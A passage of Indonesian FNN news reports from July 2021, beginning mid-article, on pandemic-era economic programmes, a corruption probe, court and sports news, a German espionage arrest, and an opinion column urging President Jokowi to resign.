mengadopsi digitalisasi di masa pandemi. Sebanyak 41 persen dari mereka yang mulai menggunakan platform digital berada di wilayah DKI Jakarta. Sementara di luar Pulau Jawa pengguna platform digital baru mencapai 16 persen," katanya. Halimah menambahkan, rendahnya adopsi teknologi digital pada UMKM dipengaruhi oleh beberapa hal, seperti kurangnya pengetahuan dan keahlian dalam menggunakan layanan digital, merasa lebih nyaman berjualan secara luring dan tidak merasa aman dengan daring. Oleh karena itu, ujar dia, diperlukan pendampingan secara berkelanjutan agar pengusaha UMKM dapat memanfaatkan teknologi digital untuk meningkatkan penjualannya. (mth)

Pemerintah Buta dan Tuli

By M Rizal Fadillah Bandung, FNN - Buta tidak bisa melihat dan tuli itu tidak bisa mendengar. Pemerintah dibebani kewajiban untuk bisa melihat keadaan rakyat dan mendengar suara jeritan atau rintihan rakyatnya. Realita rakyat Indonesia saat dalam keadaan kesulitan berat. Bukan hanya menghadapi pandemi Covid 19 tetapi menghadapi dampak dari kebijakan penanganan Covid yang inkonsisten. PPKM Darurat tidak disambut positif karena tidak jelas agendanya selain ketidakbolehan ini dan itu yang dinilai diskriminatif. Masyarakat tidak bisa usaha, lalu dari mana mereka makan Rumah ibadah ditutup namun bandara tetap dibuka. Penular asing dibiarkan datang. Kegiatan konstruksi 100 % diperkenankan. Situasi dibuat mencekam akibat kondisi ekonomi rakyat yang ambyar. Pengangguran dipastikan meningkat. Koran Tempo membuat head line "Saatnya Jokowi Kibarkan Bendera Putih". Kondisi berat yang dihadapi sudah tidak mampu diatasi. Jokowi memang tidak memiliki kemampuan. Hampir semua masalah ditangani dengan amatiran dan semaunya. Soal covid 19 Jokowi tidak berani Karantina Wilayah, malah ditetapkan PSBB, PSBB transisi, lalu New Normal dan kini PPKM. Netizen mengolok-olok PPKM sebagai Planga Plongo Kagak Mikir. Ada pula Planga Plongo Kelakuan Mukidi. Dan yang paling menusuk ialah Pak Presiden Kapan Mundur. Mulai banyak tulisan, meme, ataupun karikatur yang pada prinsipnya mendesak Presiden Jokowi agar segera mundur atau mengundurkan diri. Ada yang melalui gugatan hukum seperti dilakukan oleh Eggi Sudjana, Khozinudin, dan teman lainnya, ada pula yang membuat "Seknas Jokowi Sudahlah" seperti Adhi Massardi. KAMI se-Jawa mengusulkan juga agar Jokowi segera mundur. Ekonom Senior Rizal Ramli mengasihani rakyat dan Jokowi sendiri atas ketidakmampuan dalam mengelola negara, karenanya Presiden mundur adalah yang terbaik. "Beri kesempatan yang lain untuk mengelola negara", ungkapnya. Jokowi kini sudah menjadi bahan olok-olok. Rontok kewibawaan sejatinya dan yang tersisa hanya puja-puji para buzzernya. Meskipun demikian hingga kini Jokowi dan Pemerintahannya tetap bergeming. Tidak ada tanda tanda untuk siap mundur, bahkan manuver dan manipulasi pendukungnya adalah agenda perpanjangan jabatan untuk tiga periode. Suatu wacana dan harapan yang digaungkan oleh para ilusionis. Ketika ekonomi morat marit, hukum diinjak-injak, demokrasi diborgol, kedaulatan negara digadaikan, serta agama yang dipinggirkan, maka itulah saatnya rakyat berteriak. Sayangnya teriakan rakyat memang belum terdengar kompak, masih sporadis, dan sayup-sayup. Pemerintah yang buta dan tuli makin asyik dengan mainan kuda-kudaannya. Renungan kita adalah mari mendengarkan dan membaca satu bait dari lagu Simon & Garfunkel "The Sound Of Silence"--Suara Keheningan. Fools, said I You don't know, silence like a cancer grows Hear my words that I might teach you Take my arms that I might reach you But my words like silent raindrops feel And echoed, In the wells of silence. Orang-orang bodoh, kataku Kau tidak tahu, keheningan itu seperti kanker yang tumbuh Dengarkan kata-kataku dan aku mungkin mengajarimu Raih tanganku dan aku mungkin akan bisa menggapaimu Tapi kata-kataku seperti tetesan keheningan yang jatuh Dan menggema, Dalam sumur keheningan. Nah, Pemerintah yang buta dan tuli adalah kanker yang terus tumbuh. Karenanya harus cepat diamputasi. *) Pemerhati Politik dan Kebangsaan

Ningxia Tawarkan Beasiswa untuk Santri Indonesia

Beijing, FNN - Perguruan tinggi di Daerah Otonomi Ningxia, China, menawarkan beasiswa untuk kalangan santri dari Indonesia. "Lulusan pesantren di Indonesia bisa belajar ilmu teknologi dan bisnis di Ningxia University," kata Atase Pendidikan, Kebudayaan, Riset dan Teknologi pada Kedutaan Besar RI di Beijing, Yaya Sutarya, Selasa. Menurut dia, dengan mengambil kesempatan tersebut, para santri setelah menyelesaikan studinya di Ningxia nanti bisa berpartisipasi membangun daerah asalnya di Indonesia. Sebagai daerah otonomi, Ningxia yang beribu kota di Yinchuan itu banyak dihuni oleh etnis minoritas Muslim Hui sehingga cocok untuk kalangan santri dari Indonesia. Masjid dan makanan halal sangat mudah diperoleh di wilayah utara daratan Tiongkok yang berbatasan dengan Provinsi Gansu, Provinsi Shaanxi, dan Daerah Otonomi Mongolia Dalam itu. Saat ini terdapat 12 warga negara Indonesia yang bermukim di Ningxia, satu di antaranya menikah dengan penduduk setempat. "Mulai tahun depan para lulusan pesantren di Indonesia sudah bisa mengajukan pendaftaran beasiswa ke Ningxia," ujar Yaya. Sejumlah perguruan tinggi di China terus menawarkan beasiswa kepada Indonesia dan sejumlah negara lainnya. Namun sayangnya sampai saat ini otoritas China belum memberikan akses kepada para pelajar dari Indonesia dan negara lainnya untuk memasuki wilayah tersebut sejak merebaknya wabah COVID-19 sehingga kegiatan belajar dan mengajar bagi warga negara asing masih dilakukan secara daring. Otoritas China memang telah memberikan visa kepada warga negara asing untuk berbagai keperluan kecuali untuk kegiatan belajar. Di China terdapat sekitar 14.000 pelajar Indonesia, namun yang tersisa hingga saat ini diperkirakan tidak lebih dari 5.000 orang saja. Mereka yang tersisa adalah yang bertahan atau tidak pulang ke Tanah Air sejak China dilanda COVID-19. (mth)

Kejati Sumut Masih Teliti Dokumen PDAM Tirta Lihou Simalungun

Medan, FNN - Tim penyidik dari Kejaksaan Tinggi Sumatera Utara hingga kini masih memeriksa dokumen PDAM Tirta Lihou Simalungun yang baru saja disita terkait dugaan tindak pidana korupsi pada proyek pemasangan sambung rumah (SR) untuk masyarakat berpenghasilan rendah tahun 2018 dan 2019. Kepala Seksi Penerangan Hukum Kejati Sumut Sumanggar Siagian ketika dikonfirmasi, di Medan, Selasa, mengatakan dari dokumen yang disita itu dan berupa alat bukti lainnya nantinya akan disimpulkan perkaranya oleh penyidik. Ia menyebutkan dokumen yang telah disita tersebut tidak diperbolehkan untuk dipublikasikan di media massa, karena bagian materi dari perkara dan harus dirahasiakan. "Tim penyidik juga akan minta bantuan pihak BPK atau BPKP untuk melakukan audit mengenai kerugian negara akibat korupsi yang terjadi di PDAM Tirta Lihou Simalungun," kata mantan Kasi Pidum Kejari Binjai itu. Sebelumnya, Tim penyidik Kejati Sumut melakukan penggeledahan Kantor Perusahaan Daerah Air Minum (PDAM) Tirta Lihou yang terletak di Jalan Jon Horailam Saragih, Kabupaten Simalungun terkait dalam penanganan perkara dugaan korupsi. Selain kantor PDAM itu, juga digeledah rumah dinas Direktur PDAM yang terletak di kompleks pegawai PDAM Tirta Lihou di Jalan Horailam Saragih.Penggeledahan tersebut untuk mencari dokumen-dokumen yang diperlukan dalam nyelidikan.Dalam perkara ini, tim penyidik Kejati Sumut belum menetapkan tersangka. Penggeledahan tersebut terkait penanganan perkara tindak pidana korupsi pada proyek pemasangan SR untuk masyarakat berpenghasilan rendah (MBR), dengan total sebanyak 4.637 sambungan yang terdiri dari 2.637 SR tahun 2019, dan 2.000 SR tahun 2018.Kemudian pemungutan liar dalam pemasangan SR kepada MBR yang dilakukan oleh PDAM Tirta Lihou Simalungun. Total dana hibah yang dikelola untuk pemasangan SR-MBR mencapai Rp14.100.000.000 yang terdiri dari hibah senilai Rp6.000.000 pada tahun 2018, dan hibah senilai Rp8.100.000.000 pada tahun 2019. (mth)

Angelique Kerber Melesat ke Semifinal Wimbledon Usai Taklukkan Muchova

Jakarta, FNN - Mantan juara Angelique Kerber mencapai semifinal Wimbledon untuk keempat kalinya Selasa setelah menang 6-2, 6-3 atas Karolina Muchova dari Republik Ceko. Petenis peringkat 28 dunia asal Jerman yang memenangkan gelar juara Wimbledon pada 2018 itu selanjutnya akan menghadapi unggulan teratas Ashleigh Barty atau Ajla Tomljanovic untuk memperebutkan tiket final pada Sabtu (10/7). “Ini (Wimbledon) adalah turnamen yang ajaib bagi saya," kata Kerber seperti dikutip AFP, Selasa. “Saya sangat bersemangat bermain di musim lapangan rumput setelah istirahat satu tahun. Saya sangat senang bisa kembali ke lapangan dan saya sangat menikmatinya." “Saya sangat menikmati setiap momen di sini. Ini adalah pertandingan yang ketat, dia (Muchova) bermain dengan sangat baik, dan saya tahu saya harus menampilkan performa terbaik saya hari ini,” ungkapnya. Kerber sejauh ini telah memenangkan tiga gelar juara Grand Slam, yakni Australian Open 2016, US Open 2016 dan Wimbledon 2018. Hasil pertandingan melawan Muchova pada Selasa menambah catatan kemenangannya dalam turnamen lapangan rumput menjadi 80. (mth)

Seorang Mahasiswi Divonis Enam Bulan Penjara Karena Aniaya Jurnalis

Denpasar, FNN - Seorang mahasiswi bernama Maria Christine Yuta Nukul (23) divonis enam bulan penjara karena terbukti secara sah melakukan pemukulan terhadap seorang perempuan yang berprofesi sebagai wartawan di Bali. "Terdakwa divonis enam bulan penjara dan sebelumnya dituntut selama 10 bulan penjara," kata Juru bicara Pengadilan Negeri Denpasar Bali Gede Astawa saat dikonfirmasi melalui telepon di Denpasar, Selasa malam. Ia mengatakan untuk hal-hal yang meringankan terdakwa adalah belum pernah dihukum dan mengakui terus terang perbuatannya. Sedangkan hal-hal yang memberatkan perbuatan terdakwa adalah meresahkan masyarakat. Dalam perkara ini terdakwa terbukti bersalah melanggar pasal 351 Ayat 1 Kitab Undang-undang Hukum Pidana. Sebelumnya, dalam dakwaan penuntut umum menjelaskan bahwa kejadian ini terjadi pada awal Maret 2021 ketika korban yang berprofesi sebagai jurnalis ini berusaha melerai pertengkaran antara terdakwa dengan adik teman korban. Awalnya korban bernama Ayu (30) dimintai tolong oleh temannya bernama Damiaen untuk menjemputnya di lokasi kejadian sekitar pukul 10.45 Wita. Setelah tiba di TKP, korban juga bertemu dengan adik Damiaen yang bernama Alberta. Selanjutnya, saat korban hendak pulang ke rumah, tujuh orang mahasiswa datang ke TKP mencari Alberta dan mengaku memiliki masalah yang harus diselesaikan. Selama proses penyelesaian masalah itu terdakwa bersama teman-temannya mau menarik Alberta untuk dibawa pergi meninggalkan lokasi. Lalu, korban berupaya menasehati agar permasalahan diselesaikan dengan baik. Salah satu teman terdakwa kemudian melontarkan kata-kata kasar kepada korban. Lalu, mengetahui hal itu, terdakwa juga berusaha menyerang korban. Pada pukulan pertama bisa dihindari korban, namun kedua kalinya terdakwa memukul korban hingga luka-luka pada bagian bibir korban. Lalu korban langsung dibawa ke Rumah Sakit Bali Mandara (RSBM) untuk mendapatkan perawatan lebih lanjut. (mth)

Bulog Cianjur Mencatat Stok Beras CBP 5.000 Ton

Cianjur, FNN - Bulog Sub Divre Cianjur, Jawa Barat, mencatat hingga saat ini, stok beras di gudang Cianjur, mencapai 5.000 ton yang merupakan Cadangan Beras Pemerintah (CBP), jumlah tersebut dinilai aman untuk kebutuhan hingga panen tahun depan. Wakil Kepala Bulog Sub Divre Cianjur, Sandi Tio Pratama saat dihubungi Selasa, mengatakan untuk saat ini dari CBP yang tersedia di dua gudang Cianjur, baru 25 ton yang diajukan Pemkab Cianjur, untuk dikeluarkan. "Kami sudah menerima surat dari Pemkab Cianjur, untuk mengeluarkan Cadangan Beras Daerah CBD). Namun kami tidak tahu persis untuk keperluan apa," katanya. Ia menuturkan, ketersediaan ribuan ton beras milik pemerintah itu, ungkap dia termasuk di dalamnya CBD yang dapat dikeluarkan saat darurat seperti penanganan bencana alam yang bisa diajukan masing-masing kota/kabupaten. Sedangkan stok yang tersedia, saat ini, tutur dia, dinilai sangat aman untuk kebutuhan warga di enam wilayah seperti Cianjur, Kabupaten Sukabumi, Kota Sukabumi, Kabupaten Bogor, Kota Bogor dan Kota Depok. "Sangat cukup meski saat ini, tingkat pendistribusian belum terlalu tinggi karena kita menunggu pengajuan dari masing-masing wilayah," katanya. Sedangkan terkait pandemi saat ini, pihaknya belum bisa menggelar operasi pasar untuk menstabilkan harga kebutuhan pokok seperti beras, daging, gula dan minyak, terlebih dengan diterapkannya PPKM darurat. Namun untuk membantu meringakan warga mendapatkan sembako murah, pihaknya membuka stand penjualan beras, minyak, gula dan daging di kantor Bulog Cianjur dengan harga lebih murah dari pasaran. "Agar tidak terjadi kerumunan, kita menghentikan operasi pasar, bagi warga yang membutuhkan sembako murah dapat berbelanja ke stand di kantor dan Gudang Bulog Cianjur," katanya. (mth)

MPP Jogjakarta Sesuaikan Layanan Selama PPKM Darurat

Jogjakarta, FNN - Mal Pelayanan Publik Jogjakarta menyesuaikan sejumlah operasional layanan selama PPKM Darurat hingga 20 Juli, salah satunya mengubah jam layanan serta menutup sementara layanan dari sejumlah instansi vertikal. "Kami melakukan perubahan untuk jam operasional layanan khususnya untuk layanan yang diselenggarakan Pemerintah Kota Jogjakarta," kata Kepala Dinas Penanaman Modal dan Perizinan Terpadu Satu Pintu Kota Jogjakarta Nurwidi Hartana di Jogjakarta, Selasa. Jam operasional di Mal Pelayanan Publik (MPP) Jogjakarta untuk layanan Jaminan Kesehatan Daerah (Jamkesda) dilakukan dari pukul 08.00-14.30 WIB setiap Senin hingga Kamis dan pada Jumat dibatasi hingga pukul 13.30 WIB. Sedangkan layanan pajak daerah, PBB, dan BPHTB juga diubah menjadi pukul 08.00-12.00 WIB pada Senin hingga Kamis dan pada Jumat dibatasi hingga pukul 11.00 WIB. Layanan perekaman e-KTP, perizinan dan pengambilan dokumen dibatasi pada pukul 08.00-10.00 WIB setiap hari kerja. Sedangkan layanan dari sejumlah instansi vertikal yang ditutup sementara selama PPKM Darurat di antaranya dari layanan SIM, laporan kehilangan, dan SKCK dari Polresta Jogjakarta, layanan Samsat, BPJS, BPOM, KPP Pratama, Kantor Pertanahan, Bea Cukai, Imigrasi serta layanan haji dan umroh dari Kantor Kementerian Agama Kota Jogjakarta. "Untuk layanan perbankan, PDAM, koperasi dan badan usaha lain disesuaikan dengan jam operasional dari masing-masing instansi," katanya. Nurwidi berharap, perubahan jam operasional layanan tersebut dapat mendukung upaya pencegahan penularan COVID-19 agar kasus tidak semakin meningkat. "Kami pun melakukan pembatasan jumlah pegawai yang bekerja langsung di kantor. Harapannya, kami tetap bisa memberikan layanan dengan baik di tengah pembatasan-pembatasan ini," katanya. Selain melalui MPP, warga Kota Yogyakarta pun sudah bisa mengakses berbagai layanan publik secara daring melalui aplikasi Jogja Smart Service (JSS). (mth)

Jerman Tangkap Pria yang Diduga Mata-mata China

Jakarta, FNN - Jerman menangkap seorang pria atas dugaan menjadi mata-mata untuk dinas rahasia China, kata kantor penuntut umum pada Selasa (6/7). Pria tersebut, yang diidentifikasi sebagai Klaus L. menurut aturan pelaporan Jerman, merupakan seorang ilmuwan politik dan telah bekerja di sebuah lembaga kajian sejak 2001, kata penuntut dalam pernyataan. Penuntut juga mengatakan pria itu direkrut oleh dinas rahasia China saat kunjungan mengajar di Shanghai pada 2010 dan telah mengirimkan informasi secara rutin dengan imbalan uang dan perjalanan ke China hingga November 2019. Tersangka, yang hadir dalam sidang di Munich pada Selasa, telah mengumpulkan informasi melalui sejumlah kontak di kalangan pejabat tinggi yang dia kenal saat bekerja bertahun-tahun di lembaga kajian tersebut, kata penuntut. Penyiar ARD mengatakan pria tersebut bekerja untuk Hanns Seidel Foundation di Munich, lembaga kajian yang punya kaitan dengan Christian Social Union (CSU), partai pendukung Kanselir Angela Merkel di Bavaria. (mth)

Bulog Meulaboh Siapkan Puluhan Ton Bahan Pokok Stabilkan Harga Pangan

Meulaboh, FNN - Perum Badan Urusan Logistik (Bulog) Cabang Meulaboh Aceh menyiapkan puluhan ton bahan pokok guna melakukan stabilisasi harga pangan melalui pasar murah yang diselenggarakan di empat lokasi di Kabupaten Aceh Barat. “Puluhan ton bahan pokok yang kita siapkan ini bertujuan agar masyarakat lebih mudah mendapatkan bahan pokok menjelang Hari Raya Idul Adha 1442 Hijriyah,” kata Kepala Perum Bulog Cabang Meulaboh Hafizhsyah, Selasa (6/7). Ada pun jenis bahan pokok yang disiapkan dalam kegiatan pasar murah tersebut terdiri dari beras sebanyak 8.800 kilogram (8,8 ton), 8.000 liter (8 ton) minyak goreng kemasan, 8.000 kilogram (8 ton) gula pasir, 1.000 kilogram (1 ton) tepung terigu, serta 30.400 butir telur ayam. Sedangkan untuk harga jual bahan pokok tersebut yakni beras ukuran 10 kilogram seharga Rp85 ribu/sak, telur ayam Rp36 ribu/papan (isi 30 butir), minyak goreng Rp27 ribu per bambu (2 liter), tepung terigu Rp9 ribu/pcs, serta gula pasir Rp20 ribu per 2 kilogram. “Harga barang yang dijual kepada masyarakat ini disubsidi sepenuhnya oleh Pemerintah Kabupaten Aceh Barat,” katanya. Ada pun lokasi pasar murah dipusatkan di Desa Peunaga Paya, Kecamatan Meureubo, Kabupaten Aceh Barat pada Tanggal 5 Juli 2021, kemudian di halaman Kantor Camat Bubon pada Tanggal 6 Juli 2021. Kemudian di Pasar Beureugang, Kecamatan Kaway XVI, Aceh Barat pada Tanggal 7 Juli 2021 serta di Pasar Desa Blang Beurandang, Kecamatan Johan Pahlawan, Aceh Barat pada Tanggal 8 Juli 2021 mendatang. Ia menjelaskan, pasar murah yang diselenggarakan bersama Pemerintah Kabupaten Aceh Barat dan Pemerintah Aceh tersebut juga dilakukan sebagai upaya untuk melakukan intervensi pasar, agar harga barang menjelang Hari Raya Idul Adha 1442 Hijriyah tidak mengalami kenaikan. Hal tersebut juga sebagai upaya untuk mengendalikan laju inflasi di daerah agar tetap stabil, kata Hafizhsyah menuturkan. (mth)

Bank Nagari Dipercaya Pemerintah Salurkan Dana PEN Rp250 miliar

Padang, FNN - PT Bank Pembangunan Daerah (BPD) Sumatera Barat atau Bank Nagari kembali mendapatkan kepercayaan dari pemerintah dalam penyaluran dana Pemulihan Ekonomi Nasional (PEN) untuk yang kedua kalinya sebesar Rp250 miliar. Direktur Utama Bank Nagari, Muhammad Irsyad di Padang, Selasa menyampaikan dari penempatan dana PEN tersebut, Bank BPD yang diberi dana wajib menyalurkan dua kali lipat dari jumlah penempatan atau minimal Rp500 miliar. "Adanya penempatan dana PEN ini kami yakin dengan diberikan jangka waktu enam bulan, kami akan bisa melakukan penetrasi, bisa memberikan perubahan kepada masyarakat untuk kembali bangkit," ucapnya. Pihaknya juga yakin adanya dana PEN ini akan memberikan efek yang sangat pesat bagaimana perekonomian masyarakat di Sumbar tumbuh seperti sedia kala. Ia mengatakan pada penyaluran dana PEN tahap pertama hingga 5 Maret 2021 Bank Nagari berhasil menyalurkan dalam bentuk ekspansi kredit sebesar Rp591,88 miliar dengan penurunan margin atau bunga maksimal 3,50 persen dan NPL 2,93 persen. Rincian penyaluran dana per segmen bisnis terdiri dari usaha mikro Rp41,97 miliar, usaha kecil Rp300,07 miliar, usaha menengah Rp32,99 miliar, korporasi Rp19,74 miliar, konsumtif Rp197,10 miliar. Terhadap penempatan dana PEN tahap dua 2021 akan disalurkan dalam bentuk kredit kepada nasabah dalam upaya pemulihan ekonomi nasional. Hal itu sesuai dengan Rencana Bisnis dan Target Kinerja Penempatan Dana dalam rangka Pelaksanaan Program Pemulihan Ekonomi Nasional pada PT BPD Sumbar yang telah disampaikan kepada Dirjen Perbendaharaan dalam surat nomor SR/048/DIR/PP/06-2021 tanggal 03 Juni 2022. Target kemampuan menurunkan margin bunga atau bagi hasil sekitar 1 hingga 3,50 persen. Kemudian target kemampuan untuk mengelola risiko atau NPL Gross 2,85 persen. Selanjutnya kemampuan untuk berkontribusi terhadap peningkatan pergerakan ekonomi untuk segmen bisnis produktif Rp300 miliar dan konsumtif Rp200 miliar. Disisi lain, Kepala Kanwil Ditjen Perbendaharaan (DJPb) Provinsi Sumatera Barat, Heru Pudyo Nugroho menyampaikan berdasarkan review sampai pada tempo penempatan dan periode pertama tanggal 7 Juni 2021 Bank Nagari telah menyalurkan kredit sebesar Rp992,37 miliar. "Penyaluran tersebut 3,96 kali lipat dari jumlah penempatan itu sendiri atau jauh dari target ekspansi dari pemerintah yakni dua kali lipat. Kredit itu disalurkan kepada 12.129 debitur," sebut Heru. Kemudian dari total nilai penyaluran kredit tersebut sebsar Rp775,52 miliar, atau 78,15 persen disalurkan untuk UMKM dengan jumlah debitur sebanyak 5.637 debitur. "Ini menunjukkan bahwa penyaluran kredit yang disalurkan bank nagari telah sesuai dengan tujuan penempatan dana PEN itu yakni dalam rangka membantu sektor UMKM untuk bangkit dari krisis akibat pandemi," ujar dia. Ia menyampaikan tidak semua BPD dapat menyalurkan dana PEN, hanya delapan BPD se Indonesia yang diberikan kesempatan untuk penempatan dana PEN dan Bank Nagari termasuk salah satunya. Ia berharap Bank Nagari memiliki kecukupan likuiditas dengan kondisi pandemi ini, dan mampu untuk melakukan ekspansi pembiayaan dengan bunga yang sangat murah kepada pelaku UMKM yang terdampak COVID-19. (mth)

Belitung Expo 2021 Berhasil Tingkatkan Pendapatan Pelaku UMKM

Belitung, FNN - Pelaksanaan Belitung Expo 2021 yang berlangsung pada 1-5 Juli 2021 di kawasan wisata Pantai Tanjung Pendam berhasil meningkatkan pendapatan pelaku UMKM dan ekonomi kreatif di daerah itu. "Dari pengakuan peserta dengan pelaksanaan Belitung Expo 2021 pendapatan mereka meningkat tiga kali lipat dari kondisi biasa," kata Kepala Dinas Koperasi UKM Perdagangan dan Tenaga Kerja Kabupaten Belitung, Adnizar di Tanjung Pandan, Kepulauan Bangka Belitung (Babel), Selasa. Menurut dia, pelaksanaan Belitung Expo 2021 berhasil membukukan transaksi sebesar Rp290 juta dan dikunjungi 8.700 orang. "Pemasukan tertinggi didapatkan oleh pelaku UMKM Nasi Dekap selama empat hari berhasil mendapatkan Rp8,5 juta," ujarnya. Adnizar menilai Belitung Expo 201 berhasil menciptakan efek berantai yang tidak hanya oleh peserta, namun juga berdampak terhadap peningkatan ekonomi masyarakat sekitar. "Sangat membantu bukan hanya bagi peserta saja namun bagi ekonomi masyarakat luar seperti petugas dekorasi panggung kemudian penjual kue dan gorengan jadi roda perekonomiannya terus berputar," kata Adnizar. Dikatakan dia, ke depannya pemerintah daerah akan tetap menggelar kegiatan semacam tersebut guna membantu pemulihan ekonomi pelaku UMKM di tengah kondisi pandemi COVID-19. "Kita sama-sama berdoa wabah COVID-19 segera berakhir sehingga pemulihan ekonomi bagi pelaku UMKM dengan kegiatan-kegiatan semacam ini dapat terus dilaksanakan," ujar dia. (mth)

Anggaran Proyek Gurindam 12 Dialihkan untuk Jembatan Batam Bintan

Tanjungpinang, FNN - Dinas Pekerjaan Umum Penataan Ruang dan Pertanahan (PUPRP) Provinsi Kepri membatalkan pekerjaan lanjutan proyek Penataan Kawasan Pesisir Gurindam 12 di 2021 karena anggarannya dialihkan untuk mendukung pembangunan jembatan Batam-Bintan. “Sekarang pembangunan jembatan Batam-Bintan itu lebih penting. Insya Allah tahun depan baru dilanjutkan,” kata Kepala Dinas PUPRP Kepri Abu Bakar di Tanjungpinang, Selasa. Adapun pekerjaan yang batal dilaksanakan yaitu, pengaspalan jalan sekitar 1 kilometer di sekitar jembatan, pembangunan pedestrian (jalur pejalan kaki), dan pembangunan podium di zona 1. Abu Bakar menjelaskan seluruh pekerjaan tersebut batal dilanjutkan karena alokasi anggaran sebesar Rp30 miliar di APBD 2021 untuk merampungkan pekerjaan di pusat ibu kota itu dialihkan untuk menutupi kekurangan biaya pembebasan lahan di Kelurahan Tanjungpermai, Kecamatan Seri Kuala Lobam, Kabupaten Bintan. Lahan tersebut, kata dia, nantinya akan digunakan untuk membangun infrastruktur pendukung jembatan Batam Bintan. “Untuk membebaskan lahan di sana, anggaran yang dibutuhkan Rp50 miliar, sementara anggaran kita yang ada sebelumnya hanya Rp20 miliar. Karena itu anggaran lanjutan proyek Gurindam 12 kita alihkan,” jelasnya. Meskipun begitu, lanjut dia, di tahun anggaran 2021 ini tetap ada sejumlah pekerjaan berskala kecil di kawasan Gurindam 12, yakni berupa pemasangan bangku serta lampu. “Anggarannya kita alokasikan di APBD Perubahan 2021, sekitar Rp5 sampai Rp7 miliar,” ungkap Abu Bakar. Proyek Penataan Kawasan Pesisir Gurindam 12 senilai Rp428 miliar merupakan proyek multiyears Pemprov Kepri yang disahkan di APBD 2018 dengan masa pengerjaan selama selama 2 tahun 3 bulan. (mth)

Pengamat: PP UMi Jadikan Pemberdayaan Ekonomi "Wong" Cilik Kian Nyata

Jakarta, FNN - Direktur Utama Lembaga Pengembangan Perbankan Indonesia (LPPI) Mirza Adityaswara menilai terbitnya Peraturan Pemerintah (PP) Nomor 73 Tahun 2021 membuat jalan penguatan pemberdayaan ekonomi "wong" cilik melalui holding Ultra Mikro (UMi) kian nyata. "Holding ini positif karena akan membuat permodalan lembaga pembiayaan serta sumber dana kredit mikro menjadi lebih kuat. Ini bagus untuk (lebih memberdayakan rakyat kecil) di Indonesia," katanya dalam keterangan tertulisnya di Jakarta, Selasa. Mirza mengatakan dengan adanya landasan hukum tersebut, pemberdayaan usaha masyarakat kecil akan semakin kuat. Selain itu, akses pendanaan usaha masyarakat kecil pun akan semakin terintegrasi. Presiden Joko Widodo telah meneken Peraturan Pemerintah No 73 Tahun 2021 tentang Penambahan Penyertaan Modal Negara Republik Indonesia ke dalam Modal Saham Perusahaan Perseroan (Persero) PT Bank Rakyat Indonesia Tbk atau BRI pada 2 Juli lalu. Beleid itu mengatur tentang pembentukan Holding UMi yang melibatkan tiga entitas Badan Usaha Milik Negara (BUMN yakni PT Bank Rakyat Indonesia (Persero) Tbk atau BRI, PT Pegadaian (Persero) dan PT Permodalan Masyarakat Madani (Persero) atau PNM. PP tersebut juga dikeluarkan dalam rangka pemulihan ekonomi melalui holding di mana BRI sebagai induk, dan juga sebagai bentuk perwujudan visi pemerintah meningkatkan aksesibilitas layanan keuangan segmen ultra mikro yang sesuai Rencana Pembangunan Jangka Menengah (RPJMN) 2020-2024. Mirza menilai, kebijakan itu diperlukan untuk menunjang kekuatan pondasi perekonomian Indonesia ke depan. Sebabnya, menurut data Kementerian Koperasi dan UKM, hingga 2019 saja terdapat sekitar 64 juta unit usaha mikro termasuk ultra mikro di dalamnya. Jumlah itu setara 98 persen lebih dari total unit usaha nasional. Dari jumlah itu baru setengahnya yang tersentuh lembaga keuangan formal. Sisanya masih mengandalkan jasa rentenir atau bantuan keluarga untuk meningkatkan daya usaha. Dia mengatakan, dengan resmi hadirnya holding UMi, potensi pertumbuhan ekonomi masyarakat di tataran bawah mudah direkam, dipetakan dan dikembangkan. Selain itu, integrasi lewat Holding UMi mempermudah mitigasi risiko. "Diharapkan juga informasi kredit menjadi lebih terintegrasi. Ini untuk menangkap potensi pertumbuhan sekaligus mitigasi risiko," ujarnya. Hak Istimewa Pegadaian-PNM Dalam kesempatan terpisah Pengamat Kebijakan Publik dari Universitas Gadjah Mada (UGM) Satria Aji Imawan mengatakan dengan hadirnya beleid itu wajar jika hak istimewa diberikan kepada Pegadaian dan PNM. Alasannya, kedua perusahaan tersebut selama ini memiliki rekam jejak bagus dalam melayani nasabah segmen UMKM dan ultra mikro. Aji menegaskan, jangkauan serta kualitas layanan Pegadaian dan PNM terhadap pelaku usaha ultra mikro tak perlu dipertanyakan lagi. Dengan bergabungnya dua perusahaan ini bersama BRI dalam satu holding, diyakini ke depannya pemberdayaan usaha ultra mikro akan semakin optimal dan luas cakupannya. “Kepercayaan kepada Pegadaian dan PNM itu diartikan sebagai kepercayaan jangkauan kepada usaha-usaha mikro. Selama ini memang Pegadaian dan PNM memiliki track record itu, sehingga secara keterjangkauan sudah teruji. Pemerintah pun menjamin akan ikut andil di dalam pengawasan akuntabilitas dan transparansi arus transaksi usaha-usaha mikro. Ini merupakan hal positif yang harus disambut baik,” ujarnya. PP tersebut mengatur hak istimewa bagi PNM dan Pegadaian, di mana perseroan sebagai anggota holding akan memperoleh hak-hak khusus seperti Badan Usaha Milik Negara (BUMN), meski statusnya berubah menjadi anak perusahaan atau anggota holding. Dalam Pasal 5 ayat 1 beleid itu disebutkan PT Pegadaian tetap mempunyai hak khusus yang dimiliki oleh perusahaan pergadaian pemerintah berdasarkan ketentuan peraturan perundang-undangan. Hak khusus tersebut termasuk cakupan wilayah izin operasi, yang tidak terbatas pada hak melakukan kegiatan usaha secara nasional, dan hak mempertahankan cakupan wilayah operasional yang telah dimiliki saat ini. Ada pula hak khusus sehubungan dengan bea meterai dan hak khusus sehubungan dengan lelang barang jaminan. Sedangkan hak untuk PNM diatur dalam Pasal 5 ayat 2 bahwa perseroan tetap menjalankan hak sebagai lembaga keuangan khusus, dalam menyelenggarakan jasa pembiayaan termasuk kredit program dan jasa manajemen untuk pengembangan koperasi, usaha mikro, kecil dan menengah. Menurut Aji, hak istimewa diberikan kepada Pegadaian dan PNM karena kepemilikan negara terhadap dua BUMN ini nantinya akan bersifat tidak langsung. BRI adalah perusahaan yang nantinya memegang saham Pegadaian dan PNM secara langsung. Meski begitu, kendali negara atau pemerintah terhadap Pegadaian dan PNM, sebagai anggota Holding UMi, tidak akan berkurang karena negara masih memiliki saham mayoritas dan status sebagai pengendali BRI. (mth)

Jogjakarta Antisipasi Kerumunan di Luberan Pedagang Pasar Tradisional

